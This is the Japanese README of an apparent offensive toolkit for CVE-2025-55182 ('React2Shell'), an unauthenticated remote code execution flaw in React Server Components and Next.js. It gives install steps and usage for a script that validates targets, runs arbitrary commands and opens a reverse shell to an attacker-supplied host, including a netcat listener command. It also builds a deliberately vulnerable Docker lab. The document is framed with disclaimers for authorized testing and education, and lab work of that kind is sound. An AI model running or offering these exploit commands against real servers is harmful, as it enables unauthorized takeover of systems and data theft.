
react2Shell Next.js RCEを介して検証、悪用、およびインタラクティブシェルの取得を行うためのシンプルなツールキット。
[!WARNING] このツールは、許可されたテストおよび教育目的のみで提供されます。無断のネットワークアクセスやデータの外部送信は違法です。このツールをネットワーク上で使用する前に、適切な許可を得ていることを確認するのはユーザーの責任です。
このリポジトリには、React2Shell としても知られる CVE-2025-55182 を検証・エクスプロイトし、対話型シェルを取得するためのシンプルなツールキットが含まれています。これは React Server Components (RSC) における重大な事前認証リモートコード実行 (RCE) の脆弱性であり、バージョン 19.0.0、19.1.0、19.1.1、19.2.0 に影響します。
この脆弱性は、React の Flight プロトコルにおける安全でないデシリアライゼーションに起因し、認証されていない攻撃者が脆弱なサーバー上で任意のコードを実行できるようにします。2025 年 12 月 3 日に公開され、CVSS スコアは 10.0(Critical)です。主に React Server Components に影響しますが、RSC を利用する Next.js などのフレームワークにも影響を及ぼします。
注記: このツールキットは、教育および研究目的のみを意図しています。脆弱性の無断エクスプロイトは違法かつ非倫理的です。責任を持って、所有しているシステム、または明示的なテスト許可を得たシステムでのみ使用してください。
詳細については、公式アドバイザリを参照してください:
requests、argparse(pip install -r requirements.txt でインストール)git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
source CVE202555182Venv/bin/activate[.fish]
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
pip install -r requirements.txt
メインスクリプトは sploit.py です。次のオプションで実行します:
python sploit.py --help
--target <URL>: 対象 URL(例: http://vulnerable-site.com)。--mode <validate|sploit|shell>: 操作モード。
validate: エクスプロイトなしで脆弱性を確認します。sploit: カスタムコマンドを実行します。shell: 対話型リバースシェルを確立します。--command <CMD>: 実行するコマンド(sploit モードで必須)。--lhost <IP>: リバースシェル用のローカルホスト(shell モードで必須)。--lport <PORT>: リバースシェル用のローカルポート(デフォルト: 4444)。脆弱性の検証:
python sploit.py --target http://example.com --mode validate
コマンド実行によるエクスプロイト:
python sploit.py --target http://example.com --mode sploit --command "whoami"
対話型シェルの取得:
まずリスナーを設定し(例: nc -lvnp 4444)、次に実行します:
python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
技術的な詳細については:
{
"dependencies": {
"next": "14.3.0-canary.77",
"react": "19.0.0",
"react-dom": "19.0.0"
},
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start"
}
}
rm tsconfig.json
mkdir -p app
# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";
export default function RootLayout({
children,
}: {
children: React.ReactNode;
}) {
return (
<html lang="en">
<body>{children}</body>
</html>
);
}
echo "/* minimal css - required by Next.js */" > app/globals.css
cat > app/page.tsx << 'EOF'
export default function Home() {
return (
<main>
<h1>react2shell lab is running!</h1>
<p>Start sploiting → /api/vulnerable-endpoint</p>
</main>
);
}
FROM node:20-alpine
WORKDIR /app
# Copy only package files first (better caching)
COPY package*.json ./
# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps
# Copy the rest of the app
COPY . .
# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json
# Build the Next.js app
RUN npm run build
# Expose port
EXPOSE 3000
# Start the app
CMD ["npm", "start"]
docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell
→ http://localhost:3000これで完了です。コンテナは <2 秒で起動し、プロトタイプ汚染 → RCE チェーンの準備が整います。いつでも全削除して再起動できるワンライナー(任意):bash
docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell
脅威インテリジェンスについては AWS Security Blog を参照してください。
このツールは、保証なしで「現状のまま」提供されます。作者は、このツールキットの誤用またはそれによって生じた損害について一切責任を負いません。脆弱性をテストする前に、必ず許可を取得してください。
プルリクエストは歓迎します!大幅な変更を行う場合は、最初にイシューを開いてください。
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
